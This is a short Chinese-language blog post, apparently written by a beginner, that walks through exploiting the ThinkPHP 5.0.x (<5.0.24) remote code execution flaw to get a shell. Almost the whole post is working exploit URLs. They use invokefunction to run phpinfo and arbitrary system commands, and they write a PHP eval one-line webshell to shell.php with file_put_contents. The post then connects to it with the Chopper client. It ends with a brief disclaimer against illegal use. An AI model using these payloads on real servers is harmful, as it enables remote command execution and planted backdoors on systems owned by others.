如何利用ThinkPHPv5的漏洞來getshell

影響範圍

ThinkPHP 5.0系列 < 5.0.24

過程

查看信息

http://ip(url)/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=id(1,2,3之類的)

http://ip(url)/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=想執行的系統命令

爆錯得到cms爲tp5信息(一般情況下不太可能)
在這裏插入圖片描述

http://ip(url)/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

查看phpinfo()
在這裏插入圖片描述

http://ip(url)/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=想寫入的東西

下面的已經的寫了一句話

http://ip(url)/index.php?
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["shell"]);?>

在這裏插入圖片描述寫入成功

菜刀連接

因爲一句話寫到了shell.php 所以這裏這裏連接到shell.php就行了

在這裏插入圖片描述

ps:小編也是剛入門,有不足的地方請大佬們多多指教
想對和我一樣的小白們說:嚴禁用來幹非法之事,搞自己的靶機不香嗎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章